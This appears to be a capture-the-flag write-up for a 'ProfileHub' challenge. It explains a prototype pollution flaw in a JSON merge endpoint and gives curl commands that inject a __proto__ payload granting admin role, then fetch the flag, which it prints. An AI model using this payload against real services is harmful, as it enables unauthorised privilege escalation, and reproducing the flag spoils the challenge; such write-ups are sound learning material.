Overview
ProfileHub utilizes WASM to validate input on the client side. However, the backend exposes a vulnerable deep-merging API endpoint.
Reconnaissance
The endpoint /api/merge allows merging of two JSON objects. The backend does not sanitize __proto__ keys, allowing prototype pollution.
Exploitation Strategy
By polluting Object.prototype.role with the value admin, all newly created JS objects inherit the role property. When requesting the profile page, we automatically inherit admin access and retrieve the flag.
Solution Code
# Pollute the prototype
curl -X POST http://chall-fc97fe90.evt-207.glabs.ctf7.com/api/merge \
-H "Content-Type: application/json" \
-d '{"base": {}, "override": {"__proto__": {"role": "admin"}}}'
# Retrieve administrative flag
curl http://chall-fc97fe90.evt-207.glabs.ctf7.com/api/profileFlag
ctf7{w4sm_pr0t0_p0llut10n_ch41n_0d094ce6}